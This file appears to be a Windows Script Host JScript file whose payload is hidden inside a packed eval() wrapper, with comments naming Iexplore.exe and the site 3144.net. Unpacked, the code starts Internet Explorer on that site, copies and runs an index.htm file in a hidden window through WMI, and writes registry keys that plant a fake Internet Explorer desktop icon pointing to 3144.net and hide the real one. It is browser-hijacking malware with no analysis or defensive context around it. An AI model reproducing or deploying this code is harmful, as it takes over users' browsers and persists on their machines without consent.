//909273741
//___C:\Program Files\Internet Explorer\Iexplore.exe___
//____http://3144.net/?tt____
eval(function(p,a,c,k,e,r){e=function(c){return(c<62?'':e(parseInt(c/62)))+((c=c%62)>35?String.fromCharCode(c+29):c.toString(36))};if('0'.replace(0,e)==0){while(c--)r[e(c)]=k[c];k=[function(e){return r[e]||e}];e=function(){return'([02-9dh-pr-zABF-OQ-Z]|1\\w)'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('0 n,o;WshShell=h i("9.6");0 y=p(){0 z=9.ScriptFullName;0 f=o.OpenTextFile(z,1);0 r=f.ReadAll();0 A=/B(.*?)B/F;0 G=/H(.*?)H/F;0 a=\'\',b=\'\';I(A.J(r)){a=K.$1;a=a.replace(/\\\\/g,"\\\\\\\\");0 _fkurl="";I(G.J(r)){b=K.$1;3{n.Run(\'"\'+a+\'" \'+b,1,false)}4(e){}}}};0 L=p(){n=h i(\'9.6\');o=h i(\'M.N\')};L();y();0 P=h i("9.6");0 q=h i("M.N");0 d=P.O("Templates");0 StartPath=P.O("AllUsersStartup");0 k=parseInt(Q.floor(Q.random()*9999));3{0 R="c:\\\\";0 OldPath=P.S;P.S=d;9.T(5000);q.CopyFile(R+"index.htm",d+"\\\\"+k);U(d+"\\\\"+k,d);9.T(60000);q.DeleteFile(d+"\\\\"+k)}4(E){};p U(V,W){0 X=12;0 Y=Z("11:{13=14}!\\\\\\\\.\\\\15\\\\16:win32_processstartup");0 s=Y.SpawnInstance_();s.ShowWindow=X;0 17="";0 18=Z("11:{13=14}!\\\\\\\\.\\\\15\\\\16:Win32_Process");18.Create(V,W,s,17)};0 2="{86AEFBE8-763F-0647-899C-A93278894D8E}";0 19="http://www.3144.net/?tt";3{P.5("1a\\\\1b\\\\t\\\\u\\\\v\\\\j\\\\1c\\\\NewStartPanel\\\\{1d-1e-1f-1g-1h}",1,"w")}4(e){};3{P.5("1a\\\\1b\\\\t\\\\u\\\\v\\\\j\\\\1c\\\\ClassicStartMenu\\\\{1d-1e-1f-1g-1h}",1,"w")}4(e){};3{P.5("7\\\\2\\\\"+2+"\\\\","l 1i","8")}4(e){};3{P.5("7\\\\2\\\\"+2+"\\\\DefaultIcon\\\\","C:\\\\1j 1k\\\\l j\\\\1l.m","8")}4(e){};3{P.5("7\\\\2\\\\"+2+"\\\\6\\\\","","8")}4(e){};3{P.5("7\\\\2\\\\"+2+"\\\\6\\\\D\\\\x\\\\","1m.m 1n.1o,1p 1q.1r","8")}4(e){};3{P.5("7\\\\2\\\\"+2+"\\\\6\\\\Open\\\\x\\\\","C:\\\\1j 1k\\\\l j\\\\1l.m "+19,"8")}4(e){};3{P.5("7\\\\2\\\\"+2+"\\\\6\\\\属性\\\\x\\\\","1m.m 1n.1o,1p 1q.1r","8")}4(e){};3{P.5("7\\\\2\\\\"+2+"\\\\1s\\\\1s","10","w")}4(e){};3{P.5("HKEY_LOCAL_MACHINE\\\\SOFTWARE\\\\t\\\\u\\\\v\\\\j\\\\Desktop\\\\NameSpace\\\\"+2+"\\\\","l 1i","8")}4(e){};',[],91,'var||CLSID|try|catch|RegWrite|Shell|HKEY_CLASSES_ROOT|REG_SZ|WScript||||TempPath||||new|ActiveXObject|Explorer|_0|Internet|exe|_ws|_sf|function||fc|objConfig|Microsoft|Windows|CurrentVersion|REG_DWORD|Command|RunLnkFile|sfn|_o1|___||||ig|_o2|____|if|test|RegExp|Init|Scripting|FileSystemObject|SpecialFolders||Math|dhead|CurrentDirectory|Sleep|CreateWin32|_1|_2|HIDDEN_WINDOW|WMI|GetObject||winmgmts||impersonationLevel|impersonate|root|cimv2|intProcessID|objProcess|URL|HKEY_CURRENT_USER|Software|HideDesktopIcons|871C5380|42A0|1069|A2EA|08002B30309D|Exploer|Program|Files|Iexplore|Rundll32|Shell32|dll|Control_RunDLL|Inetcpl|cpl|ShellFolder'.split('|'),0,{}))
//909273741
dom